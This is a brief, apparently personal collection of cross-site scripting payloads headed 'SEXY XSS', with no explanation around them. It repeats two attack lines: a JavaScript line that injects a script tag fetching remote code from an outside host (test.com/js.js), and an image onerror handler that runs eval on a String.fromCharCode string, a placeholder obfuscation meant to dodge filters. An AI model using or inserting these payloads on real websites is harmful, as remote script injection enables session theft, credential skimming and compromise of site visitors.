SEXY XSS
document.getElementsByTagName('head')[0].appendChild(document.createElement('script')).src='http://test.com/js.js?'
{img src="" onerror="eval(String.fromCharCode(xxxxxxxxxxxxxxx))"}
document.getElementsByTagName('head')[0].appendChild(document.createElement('script')).src='http://test.com/js.js?'
{img src="" onerror="eval(String.fromCharCode(xxxxxxxxxxxxxxx))"}